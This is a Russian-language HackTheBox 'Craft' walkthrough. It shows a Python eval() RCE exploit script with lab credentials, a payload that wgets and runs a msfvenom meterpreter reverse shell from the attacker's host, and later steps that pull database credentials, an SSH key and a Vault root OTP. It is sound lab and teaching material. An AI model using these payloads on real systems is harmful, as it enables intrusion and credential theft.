![image](https://habrastorage.org/webt/z4/tn/ez/z4tnezybmcfihio9svzufxldfxq.png)
Данной статьей я начну публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Мы рассмотрим, как можно проэксплуатировать RCE в API, покопаемся в репозиториях Gogs, поработаем с базами данных и разберемся c системой хранения и управления секретами Vault.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Разведка
Сканирование портов
Данная машиина имеет IP адрес 10.10.10.110, который я добавляю в /etc/hosts.
10.10.10.110 craft.htb
Первым делом сканируем открытые порты с помощью nmap, при том укаываем опцию -А, чтобы получить как можно больше информации об обнаруженных сервисах.
nmap -A craft.htb
![image](https://habrastorage.org/webt/bm/oe/-0/bmoe-0yy3psiltb1fqoqwleakbw.png)
На машине видим службу ssh, а также работающий на 443 порту веб-сервер. Если зайти на веб сервер, то нам предлагают посмотреть на API.
![image](https://habrastorage.org/webt/s9/ju/wv/s9juwver3cyta7lvimc36oovys8.png)
При попытке посмотреть API и git, нам говорят о неивестных сайтах.
![image](https://habrastorage.org/webt/fs/n8/gd/fsn8gdkxcjagfcxrrrdcjblxrwi.png)
Поэтому добавим оба доменных имени в /etc/hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Теперь обе ссылки открываеются. Craft API предположительно представляет собой интерфейс для работы с API, поэтому для начала нам нужно разабраться, как он работает, в чем нам поможет Gogs.
![image](https://habrastorage.org/webt/3k/tf/6s/3ktf6sictzsrvx8exye1ztl8clo.png)
Точка входа
В git первым делом следует проверить коммиты.
![image](https://habrastorage.org/webt/gn/et/od/gnetodmhksh0te2su6k7g4iagt4.png)
Пройдя по коммитам, в 10e3ba4f0a найдем аутентификационные данные пользователя.
![image](https://habrastorage.org/webt/et/go/ep/etgoephnl29pzvauktdgc3bnqdg.png)
Авторизовавшись в gogs в переписки находим упоминание про баг.
![image](https://habrastorage.org/webt/kd/ef/ce/kdefcetbxjiwprf5obkroiskq9k.png)
Переходя по ссылке, обнаруживаем как происходит проверка в функции eval(), что очень опасно, так как в данной функции можно выполнить код.
![image](https://habrastorage.org/webt/dw/qo/c4/dwqoc4tub5lu285z6d732edka1e.png)
Для проверки гипотезы, в локальной консоли python сделаем аналог функции, и попробуем вызвать функцию “system()” из модуля “os”.
![image](https://habrastorage.org/webt/yk/xv/jt/ykxvjtizcdg0sb3dtoo9ssrxzqm.png)
Код успешно был выполнен! Теперь нужно написать эксплоит, чтобы получить бэкконнект. На первом этапе копируем код для аутентификации и получения токена.
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
В данном коде наша нагрузка передается в параметре “abv”, пожтому для проверки предположения RCE заменяем строку ’15.0’ на "__import__('os').system('ping ваш_ip') ".
Открываем tcpdump, указывая какой интерфейс прослушивать и параметры фильтра только ICMP пакеты и запускаем эксплоит.
![image](https://habrastorage.org/webt/h3/lu/8q/h3lu8q3bzjdbzbd72cokrtf7yzk.png)
![image](https://habrastorage.org/webt/gs/_e/pg/gs_epgjam_0e5quilzxyybw2ngg.png)
Наблюдаем, что мы смогли себя пинговать с удаленного хоста. Теперь кидаем бэкконект. Можно сделать через nc, но давайте получим meterpreter оболочку. Для этого генерируем нагрузку с помощью msfvenom. Указываем саму нагрузку (reverse_tcp), локальные хост и порт (LHOST, LPORT), и формат файла — elf.
![image](https://habrastorage.org/webt/hz/hh/cb/hzhhcbcjpz6d8u4kfdntcltgffm.png)
Заодно включаем локальный веб-сервер. Теперь настроим листенер в msfconsole. Для этого устанавливаем параметры, как в нагрузке.
![image](https://habrastorage.org/webt/im/op/f-/imopf-po-e3tqp9uebbey-5mj9u.png)
Мы прослушиваем входящие соединения, теперь нужно загрузить нагрузку на хост и запустить.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
В окне метасплоит видим входящее подключение.
![image](https://habrastorage.org/webt/-b/ji/uw/-bjiuwp51-ibbggge9ifjibpk44.png)
USER
Давайте запустил шелл и посмотрим под кем мы работаем.
![image](https://habrastorage.org/webt/gk/0v/nb/gk0vnbephoxohkfkryxl8rjkw64.png)
По выводу терминала можно предположить, что мы находимся внутри docker контейнера. Осмотримся на хосте.
![image](https://habrastorage.org/webt/vt/kf/vy/vtkfvyttw0pm6cu9fu622bph25s.png)
Есть исполняемый файл dbtest.py. Следует его посмотреть.
![image](https://habrastorage.org/webt/z3/bx/px/z3bxpx73m7ryxf0bwx9a_iiohla.png)
Программа подключается к базе данных и выполнет команду с последующим выводом. Давайте осмотримся в базе данных. Для этого я запустил на хосте интерактивную консоль python и скопировал в нее весь код до выполнения команды.
![image](https://habrastorage.org/webt/8u/cr/6g/8ucr6g8pnav_tlmssc-4fezkddu.png)
Теперь запросим таблицы.
![image](https://habrastorage.org/webt/ni/dk/zz/nidkzzk_6l1cxsmepos8e3ivbr0.png)
Как результат, нам вернули 2 записи. Так как cursor.fetchone() выводит одну запись, выполним два таких вывода.
![image](https://habrastorage.org/webt/jt/vl/wl/jtvlwlt2deghbovntbgholk9okk.png)
Так мы получили 2 таблицы. Больше интересна user. Выводим все данные из этой таблицы.
![image](https://habrastorage.org/webt/ui/hz/-_/uihz-_dr6zswnlw-56fgk2mfsv8.png)
И того в ней 3 записи.
![image](https://habrastorage.org/webt/vn/1b/ld/vn1bldjjzns-pr_bnkakr_-zwcm.png)
И мы получаем креды пользователей. Попробовав их на ssh и потерпев неудачу пробуем зайти в git. И получается зайти под пользователем gilfoyle. И у него имеется закрытый репозиторий.
![image](https://habrastorage.org/webt/my/wg/bb/mywgbbpurqlg0eussi8i8a1cico.png)
![image](https://habrastorage.org/webt/tp/g8/0h/tpg80hngu3h9tqyvtvdjxm7ogek.png)
Очень интересна дирректория .ssh. Там лежит два ключа, и мы забираем приватный.
![image](https://habrastorage.org/webt/gb/rl/hq/gbrlhqduihwomlm6ed3kkqbozms.png)
Пробуем подключиться по ssh с данным ключем.
![image](https://habrastorage.org/webt/d5/qg/lm/d5qglmkwzmowjqsjwk-w3iofnl4.png)
ROOT
Первым делом осмотримся в дирректории пользователя.
![image](https://habrastorage.org/webt/wn/-z/-t/wn-z-tfhmdf043zqv8z42xag-fe.png)
Мы находим токен от vault.
![image](https://habrastorage.org/webt/cb/52/p6/cb52p6sdmtwkylg4ntvprllwlpo.png)
Разобравшись с vault, скажу, что это система хранения и управления секретами, содержащее данные в формате ключ/значение, доступ к которым осуществляется за счет токена. Провери, настроено ли храниище.
![image](https://habrastorage.org/webt/b_/nw/ps/b_nwpsqz5ep9dwtiyyzjfljq9tc.png)
Давайте глянем список секретов.
![image](https://habrastorage.org/webt/z3/kz/3t/z3kz3tsmbxo2abhoyzipuqqpnuu.png)
Таким образом видим, что настроен доступ к ssh.
![image](https://habrastorage.org/webt/nl/3c/zw/nl3czwq1rihro8z5s5gavqji74i.png)
Теперь вводим данный нам одноразовый пароль и мы в системе как root.
![image](https://habrastorage.org/webt/_h/7x/s3/_h7xs3eb2-msqjwwvu6gum8exgi.png)
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.